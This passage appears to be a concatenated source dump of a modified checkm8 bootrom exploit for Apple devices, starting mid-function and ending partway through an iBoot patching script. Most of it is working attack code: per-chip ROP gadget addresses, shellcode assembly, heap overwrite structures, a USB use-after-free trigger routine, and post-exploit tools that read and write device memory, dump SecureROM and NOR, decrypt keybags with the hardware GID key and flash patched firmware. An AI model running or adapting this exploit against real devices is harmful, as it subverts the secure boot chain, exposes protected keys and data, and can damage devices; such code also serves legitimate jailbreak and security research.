      PAYLOAD_OFFSET_ARM64, # 6 - PAYLOAD_OFFSET
        PAYLOAD_SIZE_ARM64, # 7 - PAYLOAD_SIZE
               0x180088A58, # 8 - PAYLOAD_PTR
    ]
    t8011_func_gadget              = 0x10000CCEC
    t8011_dc_civac                 = 0x10000047C
    t8011_write_ttbr0              = 0x1000003F4
    t8011_tlbi                     = 0x100000444
    t8011_dmb                      = 0x100000488
    t8011_handle_interface_request = 0x10000E08C
    t8011_callbacks = [
      (t8011_dc_civac, 0x1800B0600),
      (t8011_dc_civac, 0x1800B0000),
      (t8011_dmb, 0),
      (t8011_write_ttbr0, 0x1800B0000),
      (t8011_tlbi, 0),
      (0x1820B0610, 0),
      (t8011_write_ttbr0, 0x1800A8000), # A custom pagetable we just set up
      (t8011_tlbi, 0),
      (0x1800B0000, 0),
      (t8011_write_ttbr0, 0x1800A0000), # Real pagetable
      (t8011_tlbi, 0),
    ]

    t8011_handler   = asm_arm64_x7_trampoline(t8011_handle_interface_request) + asm_arm64_branch(0x10, 0x0) + prepare_shellcode('usb_0xA1_2_arm64', constants_usb_t8011)[4:]
    t8011_shellcode = prepare_shellcode('checkm8_arm64', constants_checkm8_t8011)
    assert len(t8011_shellcode) <= PAYLOAD_OFFSET_ARM64
    assert len(t8011_handler) <= PAYLOAD_SIZE_ARM64
    t8011_shellcode = t8011_shellcode + '\0' * (PAYLOAD_OFFSET_ARM64 - len(t8011_shellcode)) + t8011_handler
    assert len(t8011_shellcode) <= 0x400
    return struct.pack('<1024sQ504x2Q496s32x', t8011_shellcode, 0x1000006A5, 0x60000180000625, 0x1800006A5, prepare_shellcode('t8010_t8011_disable_wxn_arm64')) + usb_rop_callbacks(0x1800B0800, t8011_func_gadget, t8011_callbacks)
  if cpid == 0x8015:
    constants_usb_t8015 = [
               0x18001C000, # 1 - LOAD_ADDRESS
        0x6578656365786563, # 2 - EXEC_MAGIC
        0x646F6E65646F6E65, # 3 - DONE_MAGIC
        0x6D656D636D656D63, # 4 - MEMC_MAGIC
        0x6D656D736D656D73, # 5 - MEMS_MAGIC
               0x10000B9A8, # 6 - USB_CORE_DO_IO
    ]
    constants_checkm8_t8015 = [
               0x180008528, # 1 - gUSBDescriptors
               0x180003A78, # 2 - gUSBSerialNumber
               0x10000AE80, # 3 - usb_create_string_descriptor
               0x1800008FA, # 4 - gUSBSRNMStringDescriptor
               0x18001BC00, # 5 - PAYLOAD_DEST
      PAYLOAD_OFFSET_ARM64, # 6 - PAYLOAD_OFFSET
        PAYLOAD_SIZE_ARM64, # 7 - PAYLOAD_SIZE
               0x180008638, # 8 - PAYLOAD_PTR
    ]
    t8015_load_write_gadget        = 0x10000945C
    t8015_write_sctlr_gadget       = 0x1000003EC
    t8015_func_gadget              = 0x10000A9AC
    t8015_write_ttbr0              = 0x10000045C
    t8015_tlbi                     = 0x1000004AC
    t8015_dc_civac                 = 0x1000004D0
    t8015_dmb                      = 0x1000004F0
    t8015_handle_interface_request = 0x10000BCCC
    t8015_callbacks = [
      (t8015_dc_civac, 0x18001C800),
      (t8015_dc_civac, 0x18001C840),
      (t8015_dc_civac, 0x18001C880),
      (t8015_dmb, 0),
      (t8015_write_sctlr_gadget, 0x100D),
      (t8015_load_write_gadget, 0x18001C000),
      (t8015_load_write_gadget, 0x18001C010),
      (t8015_write_ttbr0, 0x180020000),
      (t8015_tlbi, 0),
      (t8015_load_write_gadget, 0x18001C020),
      (t8015_write_ttbr0, 0x18000C000),
      (t8015_tlbi, 0),
      (0x18001C800, 0),
    ]
    t8015_callback_data = usb_rop_callbacks(0x18001C020, t8015_func_gadget, t8015_callbacks)
    t8015_handler = asm_arm64_x7_trampoline(t8015_handle_interface_request) + asm_arm64_branch(0x10, 0x0) + prepare_shellcode('usb_0xA1_2_arm64', constants_usb_t8015)[4:]
    t8015_shellcode = prepare_shellcode('checkm8_arm64', constants_checkm8_t8015)
    assert len(t8015_shellcode) <= PAYLOAD_OFFSET_ARM64
    assert len(t8015_handler) <= PAYLOAD_SIZE_ARM64
    t8015_shellcode = t8015_shellcode + '\0' * (PAYLOAD_OFFSET_ARM64 - len(t8015_shellcode)) + t8015_handler
    return struct.pack('<6Q16x448s1536x1024s', 0x180020400-8, 0x1000006A5, 0x180020600-8, 0x180000625, 0x18000C600-8, 0x180000625, t8015_callback_data, t8015_shellcode)

def all_exploit_configs():
  t8010_nop_gadget = 0x10000CC6C
  t8011_nop_gadget = 0x10000CD0C
  t8015_nop_gadget = 0x10000A9C4

  s5l8947x_overwrite = struct.pack('<20xI4x', 0x34000000)
  s5l895xx_overwrite = struct.pack('<20xI4x', 0x10000000)
  t800x_overwrite    = struct.pack('<20xI4x', 0x48818000)
  s5l8960x_overwrite = struct.pack('<32xQ8x', 0x180380000)
  t8010_overwrite    = struct.pack('<32x2Q16x32x2QI',    t8010_nop_gadget, 0x1800B0800, t8010_nop_gadget, 0x1800B0800, 0xbeefbeef)
  t8011_overwrite    = struct.pack('<32x2Q', t8011_nop_gadget, 0x1800B0800)
  t8015_overwrite    = struct.pack('<32x2Q16x32x2Q12xI', t8015_nop_gadget, 0x18001C020, t8015_nop_gadget, 0x18001C020, 0xbeefbeef)
  
  s5l8947x_overwrite_offset = 0x660
  s5l895xx_overwrite_offset = 0x640
  t800x_overwrite_offset    = 0x5C0
  s5l8960x_overwrite_offset = 0x580
  t8010_overwrite_offset    = 0x580
  t8011_overwrite_offset    = 0x540
  t8015_overwrite_offset    = 0x500

  return [
    DeviceConfig('iBoot-1458.2',          0x8947,  626, s5l8947x_overwrite, s5l8947x_overwrite_offset, None, None), # S5L8947 (DFU loop)     1.97 seconds
    DeviceConfig('iBoot-1145.3'  ,        0x8950,  659, s5l895xx_overwrite, s5l895xx_overwrite_offset, None, None), # S5L8950 (buttons)      2.30 seconds
    DeviceConfig('iBoot-1145.3.3',        0x8955,  659, s5l895xx_overwrite, s5l895xx_overwrite_offset, None, None), # S5L8955 (buttons)      2.30 seconds
    DeviceConfig('iBoot-1704.10',         0x8960, 7936, s5l8960x_overwrite, s5l8960x_overwrite_offset, None, None), # S5L8960 (buttons)     13.97 seconds
    DeviceConfig('iBoot-2651.0.0.1.31',   0x8002, None,    t800x_overwrite, t800x_overwrite_offset,    5,    1), # T8002 (DFU loop)  NEW: 1.27 seconds
    DeviceConfig('iBoot-2651.0.0.3.3',    0x8004, None,    t800x_overwrite, t800x_overwrite_offset,    5,    1), # T8004 (buttons)   NEW: 1.06 seconds
    DeviceConfig('iBoot-2696.0.0.1.33',   0x8010, None,    t8010_overwrite, t8010_overwrite_offset,    5,    1), # T8010 (buttons)   NEW: 0.68 seconds
    DeviceConfig('iBoot-3135.0.0.2.3',    0x8011, None,    t8011_overwrite, t8011_overwrite_offset,    6,    1), # T8011 (buttons)   NEW: 0.87 seconds
    DeviceConfig('iBoot-3332.0.0.1.23',   0x8015, None,    t8015_overwrite, t8015_overwrite_offset,    6,    1), # T8015 (DFU loop)  NEW: 0.66 seconds
  ]

def exploit_config(serial_number):
  for config in all_exploit_configs():
    if 'SRTG:[%s]' % config.version in serial_number:
      return payload(config.cpid), config
  for config in all_exploit_configs():
    if 'CPID:%s' % config.cpid in serial_number:
      print 'ERROR: CPID is compatible, but serial number string does not match.'
      print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'
      sys.exit(1)
  print 'ERROR: This is not a compatible device. Exiting.'
  sys.exit(1)

def exploit():
  print '*** checkm8 exploit by axi0mX ***'
  print '*** modified version by Linus Henze ***'

  device = dfu.acquire_device()
  start = time.time()
  print 'Found:', device.serial_number
  if 'PWND:[' in device.serial_number:
    print 'Device is already in pwned DFU Mode. Not executing exploit.'
    return
  payload, config = exploit_config(device.serial_number)

  if config.large_leak is not None:
    usb_req_stall(device)
    for i in range(config.large_leak):
      usb_req_leak(device)
    usb_req_no_leak(device)
  else:
    stall(device)
    for i in range(config.hole):
      no_leak(device)
    leak(device)
    no_leak(device)
  dfu.usb_reset(device)
  dfu.release_device(device)

  device = dfu.acquire_device()
  device.serial_number
  libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)

  # Advance buffer offset before triggering the UaF to prevent trashing the heap
  libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, 'A' * config.overwrite_offset, 10)
  libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
  dfu.release_device(device)

  time.sleep(0.5)

  device = dfu.acquire_device()
  usb_req_stall(device)
  if config.large_leak is not None:
    usb_req_leak(device)
  else:
    for i in range(config.leak):
      usb_req_leak(device)
  libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 50)
  for i in range(0, len(payload), 0x800):
    libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50)
  dfu.usb_reset(device)
  dfu.release_device(device)

  device = dfu.acquire_device()
  if 'PWND:[checkm8]' not in device.serial_number:
    print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
    sys.exit(1)
  print 'Device is now in pwned DFU Mode.'
  print '(%0.2f seconds)' % (time.time() - start)
  dfu.release_device(device)


================================================
FILE: device_platform.py
================================================
class DevicePlatform:
  def __init__(self, cpid, cprv, scep, arch, srtg, rom_base, rom_size, rom_sha1, sram_base, sram_size, dram_base, nonce_length, sep_nonce_length, demotion_reg):
    self.cpid             = cpid
    self.cprv             = cprv
    self.scep             = scep
    self.arch             = arch
    self.srtg             = srtg
    self.rom_base         = rom_base
    self.rom_size         = rom_size
    self.rom_sha1         = rom_sha1
    self.sram_base        = sram_base
    self.sram_size        = sram_size
    self.dram_base        = dram_base
    self.nonce_length     = nonce_length
    self.sep_nonce_length = sep_nonce_length
    self.demotion_reg     = demotion_reg
    if self.cpid in [0x8940, 0x8947]:
      self.dfu_image_base      = 0x34000000
      self.dfu_load_base       = 0x9FF00000
      self.recovery_image_base = 0x9FF00000
      self.recovery_load_base  = 0x80000000
    if self.cpid in [0x8950, 0x8955]:
      self.dfu_image_base      = 0x10000000
      self.dfu_load_base       = 0xBFF00000
      self.recovery_image_base = 0xBFF00000
      self.recovery_load_base  = 0x80000000
    if self.cpid == 0x8960:
      self.dfu_image_base      = 0x180380000
      self.dfu_load_base       = 0x180000000 # varies (HACK: test purposes)
      self.recovery_image_base = 0x83D7F7000 # varies
      self.recovery_load_base  = 0x800000000
    if self.cpid in [0x8002, 0x8004]:
      self.dfu_image_base      = 0x48818000
      self.dfu_load_base       = 0x80000000
      self.recovery_image_base = 0x48818000
      self.recovery_load_base  = 0x80000000
    if self.cpid in [0x8010, 0x8011]:
      self.dfu_image_base      = 0x1800B0000
      self.dfu_load_base       = 0x800000000
      self.recovery_image_base = 0x1800B0000
      self.recovery_load_base  = 0x800000000
    if self.cpid in [0x8015]:
      self.dfu_image_base      = 0x18001C000
      self.dfu_load_base       = 0x800000000
      self.recovery_image_base = 0x18001C000
      self.recovery_load_base  = 0x800000000

  def name(self):
    if 0x8720 <= self.cpid <= 0x8960:
      return 's5l%xxsi' % self.cpid
    elif self.cpid in [0x7002, 0x8000, 0x8001, 0x8003]:
      return 's%xsi' % self.cpid
    else:
      return 't%xsi' % self.cpid

all_platforms = [
  DevicePlatform(cpid=0x8947, cprv=0x00, scep=0x10, arch='armv7', srtg='iBoot-1458.2',
    rom_base=0x3F000000, rom_size=0x10000, rom_sha1='d9320ddd4bdb1de79ae0601f20e7db23441ab1a7',
    sram_base=0x34000000, sram_size=0x40000,
    dram_base=0x80000000,
    nonce_length=20, sep_nonce_length=None,
    demotion_reg=0x3F500000,
  ),
  DevicePlatform(cpid=0x8950, cprv=0x20, scep=0x10, arch='armv7s', srtg='iBoot-1145.3',
    rom_base=0x3F000000, rom_size=0x10000, rom_sha1='50a8dd9863868c971aaf95a96e5152378784e4db',
    sram_base=0x10000000, sram_size=0x80000,
    dram_base=0x80000000,
    nonce_length=20, sep_nonce_length=None,
    demotion_reg=0x3F500000,
  ),
  DevicePlatform(cpid=0x8955, cprv=0x20, scep=0x10, arch='armv7s', srtg='iBoot-1145.3.3',
    rom_base=0x3F000000, rom_size=0x10000, rom_sha1='3af575cc84e54f951db2a83227737664abdc8f40',
    sram_base=0x10000000, sram_size=0x80000,
    dram_base=0x80000000,
    nonce_length=20, sep_nonce_length=None,
    demotion_reg=0x3F500000,
  ),
  DevicePlatform(cpid=0x8002, cprv=0x10, scep=0x01, arch='armv7k', srtg='iBoot-2651.0.0.1.31',
    rom_base=0x40000000, rom_size=0x100000, rom_sha1='46c14a17f54ec6079260e9253e813084ab1e634b',
    sram_base=0x48800000, sram_size=0x120000,
    dram_base=0x80000000,
    nonce_length=32, sep_nonce_length=20,
    demotion_reg=0x481BC000,
  ),
  DevicePlatform(cpid=0x8004, cprv=0x10, scep=0x01, arch='armv7k', srtg='iBoot-2651.0.0.3.3',
    rom_base=0x40000000, rom_size=0x20000, rom_sha1='8afdcd6c147ac63fddadd1b92536d1f80c0b8a21',
    sram_base=0x48800000, sram_size=0x140000,
    dram_base=0x80000000,
    nonce_length=32, sep_nonce_length=20,
    demotion_reg=0x481BC000,
  ),
  DevicePlatform(cpid=0x8960, cprv=0x11, scep=0x01, arch='arm64', srtg='iBoot-1704.10',
    rom_base=0x100000000, rom_size=0x80000, rom_sha1='2ae035c46e02ca40ae777f89a6637be694558f0a',
    sram_base=0x180000000, sram_size=0x400000,
    dram_base=0x800000000,
    nonce_length=20, sep_nonce_length=20,
    demotion_reg=0x20E02A000,
  ),
  DevicePlatform(cpid=0x8010, cprv=0x11, scep=0x01, arch='arm64', srtg='iBoot-2696.0.0.1.33',
    rom_base=0x100000000, rom_size=0x20000, rom_sha1='41a488b3c46ff06c1a2376f3405b079fb0f15316',
    sram_base=0x180000000, sram_size=0x200000,
    dram_base=0x800000000,
    nonce_length=32, sep_nonce_length=20,
    demotion_reg=0x2102BC000,
  ),
  DevicePlatform(cpid=0x8011, cprv=0x10, scep=0x01, arch='arm64', srtg='iBoot-3135.0.0.2.3',
    rom_base=0x100000000, rom_size=0x100000, rom_sha1='2fae20a11860b0e3ce1d8a6df7d3961f610ab70d',
    sram_base=0x180000000, sram_size=0x200000,
    dram_base=0x800000000,
    nonce_length=32, sep_nonce_length=20,
    demotion_reg=0x2102BC000,
  ),
  DevicePlatform(cpid=0x8015, cprv=0x11, scep=0x01, arch='arm64', srtg='iBoot-3332.0.0.1.23',
    rom_base=0x100000000, rom_size=0x100000, rom_sha1='96fccb1a63de1a2d50ff14555d3898a5af46e9b1',
    sram_base=0x180000000, sram_size=0x200000,
    dram_base=0x800000000,
    nonce_length=32, sep_nonce_length=20,
    demotion_reg=0x2352BC000,
  ),
]


================================================
FILE: dfu.py
================================================
import sys, time
import usb # pyusb: use 'pip install pyusb' to install this module
import usb.backend.libusb1
import libusbfinder

MAX_PACKET_SIZE = 0x800

def acquire_device(timeout=5.0, match=None, fatal=True):
  backend = usb.backend.libusb1.get_backend(find_library=lambda x:libusbfinder.libusb1_path())
  #print 'Acquiring device handle.'
  # Keep retrying for up to timeout seconds if device is not found.
  start = time.time()
  once = False
  while not once or time.time() - start < timeout:
      once = True
      for device in usb.core.find(find_all=True, idVendor=0x5AC, idProduct=0x1227, backend=backend):
          if match is not None and match not in device.serial_number:
              continue
          return device
      time.sleep(0.001)
  if fatal:
      print 'ERROR: No Apple device in DFU Mode 0x1227 detected after %0.2f second timeout. Exiting.' % timeout
      sys.exit(1)
  return None

def release_device(device):
    #print 'Releasing device handle.'
    usb.util.dispose_resources(device)

def reset_counters(device):
    #print 'Resetting USB counters.'
    assert device.ctrl_transfer(0x21, 4, 0, 0, 0, 1000) == 0

def usb_reset(device):
    #print 'Performing USB port reset.'
    try:
        device.reset()
    except usb.core.USBError:
        # OK: doesn't happen on Yosemite but happens on El Capitan and Sierra
        pass
        #print 'Caught exception during port reset; should still work.'

def send_data(device, data):
    #print 'Sending 0x%x of data to device.' % len(data)
    index = 0
    while index < len(data):
        amount = min(len(data) - index, MAX_PACKET_SIZE)
        assert device.ctrl_transfer(0x21, 1, 0, 0, data[index:index + amount], 5000) == amount
        index += amount

def get_data(device, amount):
    #print 'Getting 0x%x of data from device.' % amount
    data = str()
    while amount > 0:
        part = min(amount, MAX_PACKET_SIZE)
        ret = device.ctrl_transfer(0xA1, 2, 0, 0, part, 5000)
        assert len(ret) == part
        data += ret.tostring()
        amount -= part
    return data

def request_image_validation(device):
    #print 'Requesting image validation.'
    assert device.ctrl_transfer(0x21, 1, 0, 0, '', 1000) == 0
    device.ctrl_transfer(0xA1, 3, 0, 0, 6, 1000)
    device.ctrl_transfer(0xA1, 3, 0, 0, 6, 1000)
    device.ctrl_transfer(0xA1, 3, 0, 0, 6, 1000)
    usb_reset(device)


================================================
FILE: dfuexec.py
================================================
import binascii, datetime, hashlib, struct, sys, time
import usb # pyusb: use 'pip install pyusb' to install this module
import dfu, recovery, image3, image3_24Kpwn, utilities

EXEC_MAGIC = 'exec'[::-1]
AES_BLOCK_SIZE = 16
AES_GID_KEY = 0x20000200
AES_UID_KEY = 0x20000201
AES_ENCRYPT = 16
AES_DECRYPT = 17

class PwnedDeviceConfig:
    def __init__(self, version, cpid, aes_crypto_cmd, memmove, get_block_device, load_address, rom_address, rom_size, rom_sha256):
        self.version = version
        self.cpid = cpid
        self.aes_crypto_cmd = aes_crypto_cmd
        self.memmove = memmove
        self.get_block_device = get_block_device
        self.load_address = load_address
        self.rom_address = rom_address
        self.rom_size = rom_size
        self.rom_sha256 = rom_sha256

configs = [
    #PwnedDeviceConfig(
    #    # S5L8720 (old bootrom)
    #    version='240.4',
    #    cpid='8720',
    #    aes_crypto_cmd=0x899,
    #    memmove=0x795c,
    #    get_block_device=0x1091,
    #    load_address=0x22000000,
    #    rom_address=0x20000000,
    #    rom_size=0x10000,
    #    rom_sha256='55f4d8ea2791ba51dd89934168f38f0fb21ce8762ff614c1e742407c0d3ca054'
    #),
    #PwnedDeviceConfig(
    #    # S5L8720 (new bootrom)
    #    version='240.5.1',
    #    cpid='8720',
    #    aes_crypto_cmd=0x899,
    #    memmove=0x7964,
    #    get_block_device=0x1091,
    #    load_address=0x22000000,
    #    rom_address=0x20000000,
    #    rom_size=0x10000,
    #    rom_sha256='f15ae522dc9e645fcf997f6cec978ed3ce1811915e84938c68203fb95d80d300'
    #),
    PwnedDeviceConfig(
        # S5L8920 (old bootrom)
        version='359.3',
        cpid='8920',
        aes_crypto_cmd=0x925,
        memmove=0x83d4,
        get_block_device=0x1351,
        load_address=0x84000000,
        rom_address=0xbf000000,
        rom_size=0x10000,
        rom_sha256='99fd16f919a506c7f0701620e132e18c0e6f4025a57a85807960ca092e5e3587'
    ),
    PwnedDeviceConfig(
        # S5L8920 (new bootrom)
        version='359.3.2',
        cpid='8920',
        aes_crypto_cmd=0x925,
        memmove=0x83dc,
        get_block_device=0x1351,
        load_address=0x84000000,
        rom_address=0xbf000000,
        rom_size=0x10000,
        rom_sha256='0e6feb1144c95b1ee088ecd6c45bfdc2ed17191167555b6ca513d6572e463c86'),
    PwnedDeviceConfig(
       # S5L8922
       version='359.5',
       cpid='8922',
       aes_crypto_cmd=0x919,
       memmove=0x8564,
       get_block_device=0x1851,
       load_address=0x84000000,
       rom_address=0xbf000000,
       rom_size=0x10000,
       rom_sha256='07b8a615f00961c5802451b5717c344db287b68c5f6d2331ac6ba7a6acdbac9d'
    ),
    PwnedDeviceConfig(
       # S5L8930
       version='574.4',
       cpid='8930',
       aes_crypto_cmd=0x686d,
       memmove=0x84dc,
       get_block_device=0x81d5,
       load_address=0x84000000,
       rom_address=0xbf000000,
       rom_size=0x10000,
       rom_sha256='4f34652a238a57ae0018b6e66c20a240cdbee8b4cca59a99407d09f83ea8082d'
    ),
]

class PwnedDFUDevice():
    def __init__(self):
        device = dfu.acquire_device()
        self.identifier = device.serial_number
        dfu.release_device(device)

        if 'PWND:[' not in self.identifier:
            print 'ERROR: Device is not in pwned DFU Mode. Use -p flag to exploit device and then try again.'
            sys.exit(1)

        if 'CPID:8720' in self.identifier:
            print 'ERROR: This feature is not supported on iPod Touch (2nd generation).'
            sys.exit(1)

        self.config = None
        for config in configs:
            if 'SRTG:[iBoot-%s]' % config.version in self.identifier:
                self.config = config
                break
        if self.config is None:
            print 'ERROR: Device seems to be in pwned DFU Mode, but a matching configuration was not found.'
            sys.exit(1)

    def ecid_string(self):
        tokens = self.identifier.split()
        for token in tokens:
            if token.startswith('ECID:'):
                return token[5:]
        print 'ERROR: ECID is missing from USB serial number string.'
        sys.exit(1)

    def execute(self, cmd, receiveLength):
        device = dfu.acquire_device()
        assert self.identifier == device.serial_number

        dfu.reset_counters(device)
        dfu.send_data(device, EXEC_MAGIC + cmd)
        dfu.request_image_validation(device)
        dfu.release_device(device)

        time.sleep(0.5)

        device = dfu.acquire_device()
        assert self.identifier == device.serial_number

        requiredLength = 0x8 + receiveLength
        requiredLength = requiredLength if requiredLength % 0x800 == 0 else requiredLength / 0x800 * 0x800 + 0x800
        received = dfu.get_data(device, requiredLength)
        dfu.release_device(device)

        (exec_cleared, retval) = struct.unpack('<2I', received[:8])
        assert exec_cleared == 0
        return (retval, received[8:8 + receiveLength])

    def securerom_dump(self):
        securerom = self.read_memory(self.config.rom_address, self.config.rom_size)
        if hashlib.sha256(securerom).hexdigest() != self.config.rom_sha256:
            print 'ERROR: SecureROM was dumped, but the SHA256 hash does not match. Exiting.'
            sys.exit(1)
        return securerom

    def aes(self, data, action, key):
        if len(data) % AES_BLOCK_SIZE != 0:
            print 'ERROR: Length of data for AES encryption/decryption must be a multiple of %s.' % AES_BLOCK_SIZE
            sys.exit(1)

        cmd = struct.pack('<8I', self.config.aes_crypto_cmd, action, self.config.load_address + 36, self.config.load_address + 0x8, len(data), key, 0, 0)
        (retval, received) = self.execute(cmd + data, len(data))
        return received[:len(data)]

    def aes_hex(self, hexdata, action, key):
        if len(hexdata) % 32 != 0:
            print 'ERROR: Length of hex data for AES encryption/decryption must be a multiple of %s.' % (2 * AES_BLOCK_SIZE)
            sys.exit(1)

        return binascii.hexlify(self.aes(binascii.unhexlify(hexdata), action, key))

    def read_memory(self, address, length):
        (retval, data) = self.execute(struct.pack('<4I', self.config.memmove, self.config.load_address + 8, address, length), length)
        return data

    def write_memory(self, address, data):
        (retval, data) = self.execute(struct.pack('<4I%ss' % len(data), self.config.memmove, address, self.config.load_address + 20, len(data), data), 0)
        return data

    def nor_dump(self, saveBackup):
        (bdev, empty) = self.execute(struct.pack('<2I5s', self.config.get_block_device, self.config.load_address + 12, 'nor0\x00'), 0)
        if bdev == 0:
            print 'ERROR: Unable to dump NOR. Pointer to nor0 block device was NULL.'
            sys.exit(1)

        data = self.read_memory(bdev + 28, 4)
        (read,) = struct.unpack('<I', data)
        if read == 0:
            print 'ERROR: Unable to dump NOR. Function pointer for reading was NULL.'
            sys.exit(1)

        NOR_PART_SIZE = 0x20000
        NOR_PARTS = 8
        nor = str()
        for i in range(NOR_PARTS):
            print 'Dumping NOR, part %s/%s.' % (i+1, NOR_PARTS)
            (retval, received) = self.execute(struct.pack('<6I', read, bdev, self.config.load_address + 8, i * NOR_PART_SIZE, 0, NOR_PART_SIZE), NOR_PART_SIZE)
            nor += received

        if saveBackup:
            date = datetime.datetime.now().strftime('%Y%m%d-%H%M%S')
            filename = 'nor-backups/nor-%s-%s.dump' % (self.ecid_string(), date)
            f = open(filename, 'wb')
            f.write(nor)
            f.close()
            print 'NOR backed up to file: %s' % filename

        return nor

    def boot_ibss(self):
        print 'Sending iBSS.'
        if self.config.cpid != '8920':
            print 'ERROR: Boot iBSS is currently only supported on iPhone 3GS.'
            sys.exit(1)

        help1 = 'Download iPhone2,1_4.3.5_8L1_Restore.ipsw and use the following command to extract iBSS:'
        help2 = 'unzip -p iPhone2,1_4.3.5_8L1_Restore.ipsw Firmware/dfu/iBSS.n88ap.RELEASE.dfu > n88ap-iBSS-4.3.5.img3'
        try:
            f = open('n88ap-iBSS-4.3.5.img3', 'rb')
            data = f.read()
            f.close()
        except:
            print 'ERROR: n88ap-iBSS-4.3.5.img3 is missing.'
            print help1
            print help2
            sys.exit(1)
        if len(data) == 0:
            print 'ERROR: n88ap-iBSS-4.3.5.img3 exists, but is empty (size: 0 bytes).'
            print help1
            print help2
            sys.exit(1)
        if hashlib.sha256(data).hexdigest() != 'b47816105ce97ef02637ec113acdefcdee32336a11e04eda0a6f4fc5e6617e61':
            print 'ERROR: n88ap-iBSS-4.3.5.img3 exists, but is from the wrong IPSW or corrupted.'
            print help1
            print help2
            sys.exit(1)

        iBSS = image3.Image3(data)
        decryptediBSS = iBSS.newImage3(decrypted=True)
        n88ap_iBSS_435_patches = [
            (0x14954,                     'run\x00'), # patch 'reset' command string to 'run'
            (0x17654, struct.pack('<I', 0x41000001)), # patch 'reset' command handler to LOAD_ADDRESS + 1
        ]
        patchediBSS = decryptediBSS[:64] + utilities.apply_patches(decryptediBSS[64:], n88ap_iBSS_435_patches)

        device = dfu.acquire_device()
        assert self.identifier == device.serial_number
        dfu.reset_counters(device)
        dfu.request_image_validation(device)
        dfu.release_device(device)

        time.sleep(0.5)

        device = dfu.acquire_device()
        assert self.identifier == device.serial_number
        data = dfu.send_data(device, patchediBSS)
        dfu.request_image_validation(device)
        dfu.release_device(device)

        time.sleep(0.5)

        print 'Waiting for iBSS to enter Recovery Mode.'
        device = recovery.acquire_device()
        recovery.release_device(device)

    def flash_nor(self, nor):
        self.boot_ibss()
        print 'Sending iBSS payload to flash NOR.'
        MAX_SHELLCODE_LENGTH = 128
        payload = open('bin/ibss-flash-nor-shellcode.bin', 'rb').read()
        assert len(payload) <= MAX_SHELLCODE_LENGTH
        payload += '\x00' * (MAX_SHELLCODE_LENGTH - len(payload)) + nor

        device = recovery.acquire_device()
        assert 'CPID:8920' in device.serial_number
        recovery.send_data(device, payload)
        try:
            print 'Sending run command.'
            recovery.send_command(device, 'run')
        except usb.core.USBError:
            # OK
            pass
            #print 'Caught USBError; should still work.'
        recovery.release_device(device)
        print 'If screen is not red, NOR was flashed successfully and device will reboot.'

    def decrypt_keybag(self, keybag):
        KEYBAG_LENGTH = 48
        assert len(keybag) == KEYBAG_LENGTH

        KEYBAG_FILENAME = 'aes-keys/S5L%s-firmware' % self.config.cpid
        try:
            f = open(KEYBAG_FILENAME, 'rb')
            data = f.read()
            f.close()
        except IOError:
            data = str()
        assert len(data) % 2 * KEYBAG_LENGTH == 0

        for i in range(0, len(data), 2 * KEYBAG_LENGTH):
            if keybag == data[i:i+KEYBAG_LENGTH]:
                return data[i+KEYBAG_LENGTH:i+2*KEYBAG_LENGTH]

        device = PwnedDFUDevice()
        decrypted_keybag = device.aes(keybag, AES_DECRYPT, AES_GID_KEY)

        f = open(KEYBAG_FILENAME, 'a')
        f.write(keybag + decrypted_keybag)
        f.close()

        return decrypted_keybag

================================================
FILE: ibootpatcher
================================================
#!/usr/bin/python
# ibootpatcher: patch assembly code in iBoot binaries
# Author: axi0mX

import argparse, struct, sys

def arm64_branch_instruction(src, dest):
  if src > dest:
    value = 0x18000000 - (src - dest) / 4
  else:
    value = 0x14000000 + (dest - src) / 4
  return struct.pack('<I', value)

MSR_VBAR_EL3_X10      = '\x0A\xC0\x1E\xD5'
MSR_VBAR_EL1_X10      = '\x0A\xC0\x18\xD5'

MRS_X0_SCTLR_EL3      = '\x00\x10\x3E\xD5'
MRS_X0_SCTLR_EL1      = '\x00\x10\x38\xD5'

MSR_SCTLR_EL3_X0      = '\x00\x10\x1E\xD5'
MSR_SCTLR_EL1_X0      = '\x00\x10\x18\xD5'

MSR_SCR_EL3_X0        = '\x00\x11\x1E\xD5'

MSR_MAIR_EL3_X0       = '\x00\xA2\x1E\xD5'
MSR_MAIR_EL1_X0       = '\x00\xA2\x18\xD5'

MSR_TCR_EL3_X0        = '\x40\x20\x1E\xD5'
MSR_TCR_EL1_X0        = '\x40\x20\x18\xD5'

MSR_TTBR0_EL3_X0      = '\x00\x20\x1E\xD5'
MSR_TTBR0_EL1_X0      = '\x00\x20\x18\xD5'

TLBI_ALLE3            = '\x1F\x87\x0E\xD5'
TLBI_ALLE1            = '\x9F\x87\x0C\xD5'

TLBI_VMALLE1          = '\x1F\x87\x08\xD5'

MRS_X30_ELR_EL3       = '\x3E\x40\x3E\xD5'
MRS_X30_ELR_EL1       = '\x3E\x40\x38\xD5'

MRS_X1_ESR_EL3        = '\x01\x52\x3E\xD5'
MRS_X1_ESR_EL1        = '\x01\x52\x38\xD5'

MRS_X1_FAR_EL3        = '\x01\x60\x3E\xD5'
MRS_X1_FAR_EL1        = '\x01\x60\x38\xD5'

MRS_X2_ESR_EL3        = '\x02\x52\x3E\xD5'
MRS_X2_ESR_EL1        = '\x02\x52\x38\xD5'

MRS_X2_SPSR_EL3       = '\x02\x40\x3E\xD5'
MRS_X2_SPSR_EL1       = '\x02\x40\x38\xD5'

MSR_ELR_EL3_X0        = '\x20\x40\x1E\xD5'
MSR_ELR_EL1_X0        = '\x20\x40\x18\xD5'

MSR_SPSR_EL3_X1       = '\x01\x40\x1E\xD5'
MSR_SPSR_EL1_X1       = '\x01\x40\x18\xD5'

MRS_X2_SCTLR_EL3      = '\x02\x10\x3E\xD5'
MRS_X2_SCTLR_EL1      = '\x02\x10\x38\xD5'

MSR_SCTLR_EL3_X1      = '\x01\x10\x1E\xD5'
MSR_SCTLR_EL1_X1      = '\x01\x10\x18\xD5'

MSR_ELR_EL2_XZR       = '\x3F\x40\x1C\xD5'
MSR_ELR_EL3_XZR       = '\x3F\x40\x1E\xD5'

MSR_SPSR_EL2_XZR      = '\x1F\x40\x1C\xD5'
MSR_SPSR_EL3_XZR      = '\x1F\x40\x1E\xD5'

